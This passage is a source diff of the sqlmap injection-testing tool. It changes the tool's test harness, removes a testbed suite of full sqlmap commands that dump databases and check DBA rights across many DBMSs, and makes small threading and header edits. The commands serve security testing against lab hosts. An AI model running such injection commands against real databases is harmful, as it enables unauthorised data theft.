base = "http://%s:%d/" % (address, port)
|
||||||
url = "%s?id=1" % base
|
url = "%s?id=1" % base
|
||||||
@@ -132,27 +162,32 @@ def vulnTest():
|
|||||||
tmpdir = tempfile.mkdtemp()
|
tmpdir = tempfile.mkdtemp()
|
||||||
|
|
||||||
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||||
open(config, "w+").write(content)
|
with open(config, "w+") as f:
|
||||||
|
f.write(content)
|
||||||
|
f.flush()
|
||||||
|
|
||||||
open(multiple, "w+").write("%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()))
|
content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr())
|
||||||
|
with open(multiple, "w+") as f:
|
||||||
|
f.write(content)
|
||||||
|
f.flush()
|
||||||
|
|
||||||
for options, checks in TESTS:
|
for options, checks in TESTS:
|
||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
|
if IS_WIN and "uraj" in options:
|
||||||
|
options = options.replace(u"\u0161u\u0107uraj", "sucuraj")
|
||||||
|
checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks]
|
||||||
|
|
||||||
for tag, value in (("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir), ("<request>", request), ("<log>", log), ("<multiple>", multiple), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
|
for tag, value in (("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir), ("<request>", request), ("<log>", log), ("<multiple>", multiple), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
|
||||||
options = options.replace(tag, value)
|
options = options.replace(tag, value)
|
||||||
|
|
||||||
cmd = "%s \"%s\" %s --batch --non-interactive --debug" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
|
||||||
if "<tmp>" in cmd:
|
if "<tmpfile>" in cmd:
|
||||||
handle, tmp = tempfile.mkstemp()
|
handle, tmp = tempfile.mkstemp()
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
cmd = cmd.replace("<tmp>", tmp)
|
cmd = cmd.replace("<tmpfile>", tmp)
|
||||||
|
|
||||||
if "<piped>" in cmd:
|
|
||||||
cmd = re.sub(r"<piped>\s*", "", cmd)
|
|
||||||
cmd = "echo %s | %s" % (url, cmd)
|
|
||||||
|
|
||||||
output = shellExec(cmd)
|
output = shellExec(cmd)
|
||||||
|
|
||||||
@@ -171,168 +206,6 @@ def vulnTest():
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def bedTest():
|
|
||||||
"""
|
|
||||||
Runs the testing against 'testbed'
|
|
||||||
"""
|
|
||||||
|
|
||||||
TESTS = (
|
|
||||||
# MaxDB
|
|
||||||
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
|
|
||||||
|
|
||||||
# Informix
|
|
||||||
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
|
||||||
|
|
||||||
# Altibase
|
|
||||||
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
|
|
||||||
|
|
||||||
# CockroachDB
|
|
||||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
|
|
||||||
|
|
||||||
# CrateDB
|
|
||||||
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
|
|
||||||
|
|
||||||
# Drizzle
|
|
||||||
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
|
|
||||||
|
|
||||||
# Firebird
|
|
||||||
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
|
||||||
|
|
||||||
# H2
|
|
||||||
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
|
||||||
|
|
||||||
# HSQLDB
|
|
||||||
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
|
||||||
|
|
||||||
# IBM DB2
|
|
||||||
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
|
|
||||||
|
|
||||||
# MariaDB
|
|
||||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
|
||||||
|
|
||||||
# MySQL
|
|
||||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
|
||||||
|
|
||||||
# PostgreSQL
|
|
||||||
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
|
|
||||||
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
|
||||||
)
|
|
||||||
|
|
||||||
retVal = True
|
|
||||||
count = 0
|
|
||||||
|
|
||||||
for options, checks in TESTS:
|
|
||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
|
||||||
|
|
||||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
|
||||||
output = shellExec(cmd)
|
|
||||||
|
|
||||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
|
||||||
for check in checks:
|
|
||||||
if check not in output:
|
|
||||||
print(cmd, check)
|
|
||||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
|
||||||
dataToStdout("%s---\n" % output, coloring=False)
|
|
||||||
retVal = False
|
|
||||||
|
|
||||||
count += 1
|
|
||||||
|
|
||||||
clearConsoleLine()
|
|
||||||
if retVal:
|
|
||||||
logger.info("bed test final result: PASSED")
|
|
||||||
else:
|
|
||||||
logger.error("best test final result: FAILED")
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def fuzzTest():
|
|
||||||
count = 0
|
|
||||||
address, port = "127.0.0.10", random.randint(1025, 65535)
|
|
||||||
|
|
||||||
def _thread():
|
|
||||||
vulnserver.init(quiet=True)
|
|
||||||
vulnserver.run(address=address, port=port)
|
|
||||||
|
|
||||||
thread = threading.Thread(target=_thread)
|
|
||||||
thread.daemon = True
|
|
||||||
thread.start()
|
|
||||||
|
|
||||||
while True:
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
try:
|
|
||||||
s.connect((address, port))
|
|
||||||
break
|
|
||||||
except:
|
|
||||||
time.sleep(1)
|
|
||||||
|
|
||||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
|
||||||
os.close(handle)
|
|
||||||
|
|
||||||
url = "http://%s:%d/?id=1" % (address, port)
|
|
||||||
|
|
||||||
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
|
||||||
open(config, "w+").write(content)
|
|
||||||
|
|
||||||
while True:
|
|
||||||
lines = content.split("\n")
|
|
||||||
|
|
||||||
for i in xrange(20):
|
|
||||||
j = random.randint(0, len(lines) - 1)
|
|
||||||
|
|
||||||
if any(_ in lines[j] for _ in ("googleDork",)):
|
|
||||||
continue
|
|
||||||
|
|
||||||
if lines[j].strip().endswith('='):
|
|
||||||
lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
|
|
||||||
|
|
||||||
k = random.randint(0, len(lines) - 1)
|
|
||||||
if '=' in lines[k]:
|
|
||||||
lines[k] += chr(random.randint(0, 255))
|
|
||||||
|
|
||||||
open(config, "w+").write("\n".join(lines))
|
|
||||||
|
|
||||||
cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
|
|
||||||
output = shellExec(cmd)
|
|
||||||
|
|
||||||
if "Traceback" in output:
|
|
||||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
|
||||||
dataToStdout("%s---\n" % output, coloring=False)
|
|
||||||
|
|
||||||
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
|
||||||
os.close(handle)
|
|
||||||
open(config, "w+").write("\n".join(lines))
|
|
||||||
else:
|
|
||||||
dataToStdout("\r%d\r" % count)
|
|
||||||
|
|
||||||
count += 1
|
|
||||||
|
|
||||||
def smokeTest():
|
def smokeTest():
|
||||||
"""
|
"""
|
||||||
Runs the basic smoke testing of a program
|
Runs the basic smoke testing of a program
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -123,7 +123,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
kb.threadContinue = True
|
kb.threadContinue = True
|
||||||
kb.threadException = False
|
kb.threadException = False
|
||||||
kb.technique = ThreadData.technique
|
kb.technique = ThreadData.technique
|
||||||
|
kb.multiThreadMode = False
|
||||||
|
|
||||||
|
try:
|
||||||
if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
|
if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
|
||||||
while True:
|
while True:
|
||||||
message = "please enter number of threads? [Enter for %d (current)] " % numThreads
|
message = "please enter number of threads? [Enter for %d (current)] " % numThreads
|
||||||
@@ -147,7 +149,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
warnMsg = "running in a single-thread mode. This could take a while"
|
warnMsg = "running in a single-thread mode. This could take a while"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
try:
|
|
||||||
if numThreads > 1:
|
if numThreads > 1:
|
||||||
if startThreadMsg:
|
if startThreadMsg:
|
||||||
infoMsg = "starting %d threads" % numThreads
|
infoMsg = "starting %d threads" % numThreads
|
||||||
@@ -156,6 +157,8 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
threadFunction()
|
threadFunction()
|
||||||
return
|
return
|
||||||
|
|
||||||
|
kb.multiThreadMode = True
|
||||||
|
|
||||||
# Start the threads
|
# Start the threads
|
||||||
for numThread in xrange(numThreads):
|
for numThread in xrange(numThreads):
|
||||||
thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction])
|
thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction])
|
||||||
@@ -195,7 +198,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
if numThreads > 1:
|
if numThreads > 1:
|
||||||
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
|
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
|
||||||
try:
|
try:
|
||||||
while (threading.activeCount() > 1):
|
while (threading.active_count() > 1):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
@@ -225,6 +228,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
|||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
kb.multiThreadMode = False
|
||||||
kb.threadContinue = True
|
kb.threadContinue = True
|
||||||
kb.threadException = False
|
kb.threadException = False
|
||||||
kb.technique = None
|
kb.technique = None
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -166,6 +166,6 @@ def update():
|
|||||||
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
|
||||||
else:
|
else:
|
||||||
infoMsg = "for Linux platform it's recommended "
|
infoMsg = "for Linux platform it's recommended "
|
||||||
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"
|
infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')"
|
||||||
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
